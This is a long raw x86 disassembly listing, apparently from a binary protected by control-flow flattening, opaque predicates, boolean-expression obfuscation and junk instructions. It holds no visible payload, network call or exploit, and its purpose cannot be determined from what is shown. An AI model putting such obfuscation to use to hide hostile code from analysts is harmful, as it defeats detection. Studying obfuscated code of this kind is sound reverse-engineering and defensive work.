mov byte [ebp - 0x49cc2], ah
xor cl, 0xff
mov ah, bl
xor ah, cl
mov cl, byte [ebp - 0x49cc8]
and ah, bl
mov byte [ebp - 0x49cc5], ah
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0x49cc4], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x49cc3], cl
mov ah, bl
and ah, 0
and al, cl
mov cl, byte [ebp - 0x49cc8]
mov byte [ebp - 0x49cc7], al
mov al, byte [ebp - 0x49cc4]
and al, 0
mov byte [ebp - 0x49cc6], al
mov al, byte [ebp - 0x49cc3]
and cl, al
mov al, byte [ebp - 0x49cc7]
or ah, al
mov al, byte [ebp - 0x49cc6]
or al, cl
mov cl, byte [ebp - 0x49cc5]
xor ah, al
mov al, byte [ebp - 0x49cc4]
or bl, al
mov al, byte [ebp - 0x49cc3]
xor bl, 0xff
or al, 0
and bl, al
mov al, byte [ebp - 0x49cc2]
or ah, bl
mov byte [ebp - 0x49cbd], ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x49cbe], ah
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x49cbf], bl
mov bl, 1
xor bl, 0
and ah, 0
and al, bl
mov byte [ebp - 0x49cc1], al
mov al, byte [ebp - 0x49cbf]
and al, 0
mov byte [ebp - 0x49cc0], al
mov al, byte [ebp - 0x49cc1]
and cl, bl
or ah, al
mov al, byte [ebp - 0x49cc0]
or al, cl
mov cl, byte [ebp - 0x49cbf]
xor ah, al
mov al, byte [ebp - 0x49cbe]
or al, cl
mov cl, byte [ebp - 0x49cbd]
xor al, 0xff
or bl, 0
and al, bl
or ah, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
and cl, al
mov byte [ebp - 0x49cbc], cl
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, al
mov al, byte [ebp - 0x49cbc]
or bl, al
mov al, byte [ebp - 0x49cbb]
or cl, ah
xor bl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and cl, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, cl
mov cl, byte [ebp - 0x49cba]
or dl, ah
xor al, dl
mov dl, cl
and dl, 1
xor cl, 1
or dl, cl
xor al, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov dl, bl
xor dl, 0xff
mov byte [ebp - 0x49cb7], dl
mov ah, al
xor ah, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and bl, cl
mov byte [ebp - 0x49cb9], bl
mov bl, ah
and bl, 0
and al, cl
mov byte [ebp - 0x49cb8], al
mov al, byte [ebp - 0x49cb9]
or dl, al
mov al, byte [ebp - 0x49cb8]
or bl, al
mov al, byte [ebp - 0x49cb7]
xor dl, bl
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov bl, ch
and bl, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, bl
or cl, ah
xor al, cl
mov byte [ebp - 0x49ca4], al
mov bl, bh
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov ah, bh
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, ah
or al, cl
xor bl, al
mov ah, 1
xor ah, 0
and ah, 0
mov al, 1
xor al, 0
mov cl, al
and cl, 0
mov byte [ebp - 0x49cb6], cl
mov cl, 1
xor cl, 1
and cl, 0
and al, 1
mov byte [ebp - 0x49cb5], al
mov al, byte [ebp - 0x49cb6]
or ah, al
mov al, byte [ebp - 0x49cb5]
or cl, al
mov al, byte [ebp - 0x49ca4]
xor ah, cl
xor al, 0xff
mov byte [ebp - 0x49cb4], al
mov cl, 1
xor cl, 0
mov al, 1
xor al, 1
mov byte [ebp - 0x49cb3], al
mov al, byte [ebp - 0x49cb4]
or al, cl
mov cl, byte [ebp - 0x49cb3]
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x49cb2], al
mov al, ah
xor al, 0xff
mov cl, ch
xor cl, al
mov al, byte [ebp - 0x49cb2]
and cl, ch
mov byte [ebp - 0x49cb1], cl
mov ch, 1
xor ch, 0
mov cl, bl
xor cl, ch
and cl, bl
mov byte [ebp - 0x49cac], cl
mov cl, ah
xor cl, 0xff
mov ch, bh
xor ch, cl
mov cl, byte [ebp - 0x49cb1]
and ch, bh
mov byte [ebp - 0x49cab], ch
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x49cad], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x49cae], cl
mov ch, bh
and ch, 0
and al, cl
mov cl, byte [ebp - 0x49cb1]
mov byte [ebp - 0x49cb0], al
mov al, byte [ebp - 0x49cad]
and al, 0
mov byte [ebp - 0x49caf], al
mov al, byte [ebp - 0x49cae]
and cl, al
mov al, byte [ebp - 0x49cb0]
or ch, al
mov al, byte [ebp - 0x49caf]
or al, cl
mov cl, byte [ebp - 0x49cae]
xor ch, al
mov al, byte [ebp - 0x49cad]
or bh, al
mov al, byte [ebp - 0x49cac]
xor bh, 0xff
or cl, 0
and bh, cl
mov cl, byte [ebp - 0x49cab]
or ch, bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x49ca7], bh
xor cl, 0xff
mov byte [ebp - 0x49ca8], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x49ca6], cl
and bh, 0
and al, cl
mov cl, byte [ebp - 0x49cab]
mov byte [ebp - 0x49caa], al
mov al, byte [ebp - 0x49ca8]
and al, 0
mov byte [ebp - 0x49ca9], al
mov al, byte [ebp - 0x49ca6]
and cl, al
mov al, byte [ebp - 0x49caa]
or bh, al
mov al, byte [ebp - 0x49ca9]
or al, cl
mov cl, byte [ebp - 0x49ca8]
xor bh, al
mov al, byte [ebp - 0x49ca7]
or al, cl
mov cl, byte [ebp - 0x49ca6]
xor al, 0xff
or cl, 0
and al, cl
or bh, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
and ch, al
mov byte [ebp - 0x49ca5], ch
mov ch, bh
xor ch, 0xff
and ch, 0xff
and bh, al
mov al, byte [ebp - 0x49ca5]
or cl, al
mov al, byte [ebp - 0x49ca4]
or ch, bh
xor cl, ch
mov ch, al
and ch, bl
xor al, bl
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ch, bl
or al, ch
mov ch, ah
and ch, 0
xor ah, 0
or ch, ah
xor al, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov ah, cl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov bh, ah
and bh, 0xff
mov byte [ebp - 0x49ca3], bh
and cl, ch
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x49ca1], al
mov al, byte [ebp - 0x49ca3]
or al, cl
mov cl, byte [ebp - 0x49ca2]
mov byte [ebp - 0x49ca0], al
mov al, byte [ebp - 0x49ca1]
or bh, al
mov al, byte [ebp - 0x49ca0]
xor al, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or al, ah
mov byte [ebp - 0x49c9d], al
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov bl, dl
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, bl
or al, ch
xor ah, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov bl, 1
xor bl, 1
mov al, bl
and al, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or bh, al
mov al, byte [ebp - 0x49c9d]
or ch, bl
xor bh, ch
mov ch, bh
xor ch, 0xff
mov bl, dl
xor bl, ch
and bl, dl
mov ch, al
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
and al, dl
mov byte [ebp - 0x49c9f], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x49c9e], al
mov al, byte [ebp - 0x49c9f]
and dl, 1
or ch, al
mov al, byte [ebp - 0x49c9e]
or al, dl
xor ch, al
mov al, 1
xor al, 1
mov dl, ch
xor dl, al
mov al, byte [ebp - 0x49c9d]
and dl, ch
xor bh, 0xff
mov ch, al
xor ch, bh
and ch, al
mov al, ah
and al, bl
xor ah, bl
or al, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov ch, al
xor ch, 0xff
mov dl, ah
and dl, ch
xor ah, 0xff
and al, ah
or dl, al
mov bl, dh
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov al, dh
and al, ah
or bl, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov ah, cl
and ah, ch
or al, ah
mov byte [ebp - 0x49c99], al
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 0
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov byte [ebp - 0x49c96], bh
mov ah, bl
xor ah, 0xff
mov ch, 1
xor ch, 0
mov al, 1
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
xor dh, 0xff
mov al, bh
xor al, 0xff
mov ch, 1
xor ch, 1
or dh, al
mov al, byte [ebp - 0x49c99]
or ch, 1
xor dh, 0xff
and dh, ch
mov ch, 1
xor ch, 0
xor al, ch
mov ch, byte [ebp - 0x49c99]
and al, ch
xor cl, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 1
or cl, bh
or ch, 1
xor cl, 0xff
and cl, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x49c9a], ah
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
and ah, 0xff
and al, dh
mov byte [ebp - 0x49c9c], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x49c9b], al
mov al, byte [ebp - 0x49c9c]
and cl, dh
or ah, al
mov al, byte [ebp - 0x49c9b]
or al, cl
mov cl, byte [ebp - 0x49c9a]
xor ah, al
mov al, byte [ebp - 0x49c99]
or cl, bh
xor cl, 0xff
or dh, 1
and cl, dh
or ah, cl
mov bh, ch
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or bh, ch
or cl, ah
xor bh, cl
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
and bl, ch
mov byte [ebp - 0x49c98], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x49c97], al
mov al, byte [ebp - 0x49c98]
or cl, al
mov al, byte [ebp - 0x49c97]
or bl, al
mov al, byte [ebp - 0x49c96]
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
mov bl, cl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and cl, ah
or bl, cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x49c93], cl
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
and cl, 0
mov dh, ah
and dh, 0
mov byte [ebp - 0x49c95], dh
mov dh, ch
and dh, 0
and al, ah
mov byte [ebp - 0x49c94], al
mov al, byte [ebp - 0x49c95]
or cl, al
mov al, byte [ebp - 0x49c94]
or dh, al
mov al, byte [ebp - 0x49c93]
xor cl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov cl, bh
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, cl
and al, 0
and bh, ah
mov dh, ch
and dh, 0
and bl, ah
or al, bh
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or al, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, al
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov bl, 1
xor bl, 1
xor ah, 0xff
mov cl, 1
xor cl, 1
or bl, ah
or cl, 1
xor bl, 0xff
and bl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov ah, 1
xor ah, 1
and ah, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or ah, bh
or ch, dh
xor ah, ch
mov ch, 1
xor ch, 1
mov bh, ah
xor bh, ch
and bh, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x49c90], cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
and bl, ch
mov byte [ebp - 0x49c92], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x49c91], al
mov al, byte [ebp - 0x49c92]
or ah, al
mov al, byte [ebp - 0x49c91]
or bl, al
mov al, byte [ebp - 0x49c90]
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, cl
and ch, 0
and bh, dh
mov byte [ebp - 0x49c8f], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x49c8e], al
mov al, byte [ebp - 0x49c8f]
or ch, al
mov al, byte [ebp - 0x49c8e]
or bh, al
mov al, byte [ebp - 0x49c8d]
xor ch, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ch, cl
mov dh, ah
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dh, 1
xor dh, 1
mov ch, al
and ch, dh
xor al, 0xff
and al, 1
or ch, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, cl
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
mov dh, cl
and dh, bl
mov al, ch
xor al, 0xff
and al, 0
and ch, bl
or ah, dh
or al, ch
xor ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x905c6b3f
mov ecx, 0xec50d407
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
xor edi, edi
sub edi, 1
add edi, 0
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, edi
add edx, esi
xor edi, edi
sub edi, edx
xor esi, esi
sub esi, 0x37fad0d1
mov edx, ecx
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x37fad0d1
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl bl
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, bl
and al, ah
or dl, al
mov al, cl
xor al, 0xff
mov dh, dl
and dh, al
xor dl, 0xff
mov al, cl
and al, dl
or dh, al
xor dh, 0xff
mov dl, cl
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ah, al
mov al, bl
xor al, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov ah, bl
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and bl, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, bl
or dl, ch
xor ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ah, dh
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or ah, al
mov bl, 1
xor bl, 1
and bl, 1
mov cl, 1
xor cl, 1
mov bh, cl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, bh
or al, cl
xor bl, al
mov byte [ebp - 0x49d79], bl
mov cl, 1
xor cl, 1
mov al, dl
xor al, cl
and al, dl
mov bh, bl
xor bh, 0xff
mov cl, dh
xor cl, bh
and cl, dh
mov bh, 1
xor bh, 1
mov dh, ah
xor dh, bh
and dh, ah
mov byte [ebp - 0x49d7d], dh
xor ch, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x49d7e], ch
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ch, dh
and ch, 0
and al, bl
mov byte [ebp - 0x49d80], al
mov al, bh
and al, 0
mov byte [ebp - 0x49d7f], al
mov al, byte [ebp - 0x49d80]
and cl, bl
or ch, al
mov al, byte [ebp - 0x49d7f]
or al, cl
mov cl, byte [ebp - 0x49d7e]
xor ch, al
mov al, byte [ebp - 0x49d7d]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or ch, dh
mov byte [ebp - 0x49d7a], ch
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, dh
and ch, 0xff
and al, bl
mov byte [ebp - 0x49d7c], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x49d7b], al
mov al, byte [ebp - 0x49d7c]
and cl, bl
or ch, al
mov al, byte [ebp - 0x49d7b]
or al, cl
mov cl, byte [ebp - 0x49d7a]
xor ch, al
mov al, byte [ebp - 0x49d79]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or ch, dh
mov dh, cl
xor dh, 0xff
mov bl, ch
and bl, dh
xor ch, 0xff
and cl, ch
or bl, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and cl, dl
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe88c3ab5
mov ecx, 0xb089272f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov eax, dword [ebp - 0x49a14]
mov eax, dword [eax + 4]
mov edx, dword [ebp - 0x49a18]
xor ecx, ecx
sub ecx, 0x17482bbd
add ecx, 0x45a43dd6
add ecx, 0x17482bbd
add ecx, 0x484312a9
sub ecx, edx
sub ecx, 0x484312a9
sub ecx, 0x4111693a
sub ecx, 0x45a43dd6
add ecx, 0x4111693a
mov edx, 0x254afad
add edx, 0
sub edx, 0x94176c16
sub edx, 0x254afad
sub edx, 0xe0ccad77
sub edx, eax
add edx, 0xe0ccad77
add edx, 0xc61d5038
add edx, 0x94176c16
sub edx, 0xc61d5038
sub ecx, 0x998a00b1
add ecx, 0xdf5e5133
add ecx, 0x998a00b1
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0xd1931b0e
sub ecx, 0xdf5e5133
sub ecx, 0xd1931b0e
xor eax, eax
sub eax, ecx
add eax, 0
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x49a18], eax
mov eax, dword [0x501548]
mov ecx, dword [0x501544]
mov esi, 0x66b49b2c
add esi, 0
sub esi, eax
sub esi, 0x66b49b2c
xor edx, edx
sub edx, 0x41529eb3
add edx, 0
sub esi, 0xd8cd55ad
add esi, edx
add esi, 0xd8cd55ad
xor edx, edx
sub edx, 0x9dc047e4
sub edx, esi
add edx, 0x9dc047e4
xor esi, esi
sub esi, 0xfa3b3b8c
add edx, esi
sub edx, 0xa6b2b6fc
sub edx, 1
add edx, 0xa6b2b6fc
xor esi, esi
sub esi, 0xfa3b3b8c
sub edx, esi
mov edi, 0x8bfb764c
add edi, 0
sub edi, 0x41529eb3
sub edi, 0x8bfb764c
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl bh
mov dl, bh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, bh
and cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
mov ch, dl
and ch, cl
xor dl, 0xff
mov cl, al
and cl, dl
or ch, cl
xor ch, 0xff
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 0
or ch, dl
or cl, 0
xor ch, 0xff
and ch, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, dh
or cl, ah
xor dl, cl
xor dl, 0xff
xor dl, 0
and dl, 0
mov dh, 1
xor dh, 0
and dh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dh, bl
or cl, ah
xor dh, cl
mov cl, dh
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, bh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
mov al, bh
and al, bl
mov byte [ebp - 0x49d8c], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x49d8b], al
mov al, byte [ebp - 0x49d8c]
and bl, 1
or cl, al
mov al, byte [ebp - 0x49d8b]
or al, bl
xor cl, al
mov bl, 1
xor bl, 0
mov al, cl
xor al, bl
and al, cl
xor bh, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or bh, dh
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x49d8a], cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and al, ah
mov bl, dh
and bl, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x49d8a]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or al, cl
mov byte [ebp - 0x49d82], al
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, dh
or cl, dl
xor bh, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
xor al, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov dh, dl
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov ch, bh
xor ch, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 1
or ch, bl
or dh, 1
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x49d86], ch
xor ah, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x49d87], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
and al, dh
mov byte [ebp - 0x49d89], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x49d88], al
mov al, byte [ebp - 0x49d89]
and cl, dh
or ah, al
mov al, byte [ebp - 0x49d88]
or al, cl
mov cl, byte [ebp - 0x49d87]
xor ah, al
mov al, byte [ebp - 0x49d86]
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x49d83], ch
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ch, 0
and al, dh
mov byte [ebp - 0x49d85], al
mov al, bl
and al, 0
mov byte [ebp - 0x49d84], al
mov al, byte [ebp - 0x49d85]
and cl, dh
or ch, al
mov al, byte [ebp - 0x49d84]
or al, cl
mov cl, byte [ebp - 0x49d83]
xor ch, al
mov al, byte [ebp - 0x49d82]
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ch, cl
mov dh, ah
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and ah, ch
or cl, ah
mov byte [ebp - 0x49d81], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x49d81]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe88c3ab5
mov ecx, 0x7bf8d74c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov eax, dword [ebp - 0x49a24]
mov dword [ebp - 0x49a14], eax
mov dword [ebp - 0x49a70], 0xbf5f53ad
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0x9d2cfc78
jmp 0x42c62f
bswap ebx
and ebx, 0xa6
and edx, 0x87
inc ebx
inc edx
not edx
dec edi
sbb edi, 0x25
or edx, 0xb1
rol edx, 0x5d
rcr edx, 0xc0
inc edx
and edx, 6
dec esi
rcr esi, 0xc5
sub edx, 0x40
or eax, 0x38
sbb esi, 0xdf
not edx
not edx
neg edi
or eax, 0x34
and edi, 0x44
and esi, 0x7e
bswap edi
and edx, 0x83
and esi, 0x18
sub ebx, 0x44
bswap ebx
or eax, 0xce
rol ebx, 0x8f
rol edi, 0x4e
add esi, 0x68
bswap esi
not edi
inc esi
imul edi
sbb eax, 0x20
ror edx, 0xaa
dec esi
inc esi
not eax
dec edi
sub esi, 0xd7
neg edx
inc esi
rcr edi, 0x72
bswap edx
or eax, 0x83
imul eax
imul edi
not eax
rcl ebx, 0xc
rol esi, 0xd1
ror ebx, 0x25
sbb ebx, 0x56
neg edx
inc ebx
bswap esi
dec edx
imul esi
rcr edi, 0x3d
neg ebx
add eax, 0x6c
mov edi, 0x93
or edx, 0x7c
neg eax
neg edi
bswap ebx
dec ebx
bswap esi
rcl ebx, 0x7d
imul edx
and ebx, 0x7f
rol eax, 0x99
or edi, 0x27
and eax, 0x86
sub edi, 0xb9
sub eax, 0x45
bswap eax
not esi
bswap esi
inc edx
dec eax
sub edx, 0x77
or esi, 0x24
ror ebx, 0x9c
inc edi
rol ebx, 0x8a
mov ebx, 0x66
neg esi
and edi, 0x9b
inc edx
imul eax
imul edi
sub eax, 0x71
bswap esi
bswap esi
and edi, 0x51
inc edx
not ebx
imul edi
or eax, 0x84
and edx, 0xd6
add eax, 0xa2
rol edx, 0x11
imul eax
dec ebx
bswap ebx
imul edx
sub ebx, 0x96
and esi, 0xca
imul ebx
ror esi, 0x10
rol eax, 0xc3
imul eax
not edx
dec edi
imul esi
mov ebx, 0x95
or eax, 0x80
inc eax
imul esi
rol esi, 0xa0
inc eax
neg ebx
imul eax
and eax, 0x9d
dec edi
dec esi
inc edx
sbb esi, 0x9a
sub edi, 0x47
neg edi
neg edi
neg esi
bswap esi
mov eax, 0x6a
rcr ebx, 0x89
neg esi
add edi, 0x62
add esi, 0xa5
sbb esi, 0xe3
rol edx, 0x4a
inc edx
and esi, 0xfe
imul eax
dec eax
mov ebx, 0x92
not ebx
mov dword [ebp - 0x499f4], eax
mov eax, dword [ebp - 0x49a00]
mov dword [ebp - 0x4997c], eax
mov eax, dword [ebp - 0x499fc]
add eax, 0x18
add eax, 0x60
add eax, 8
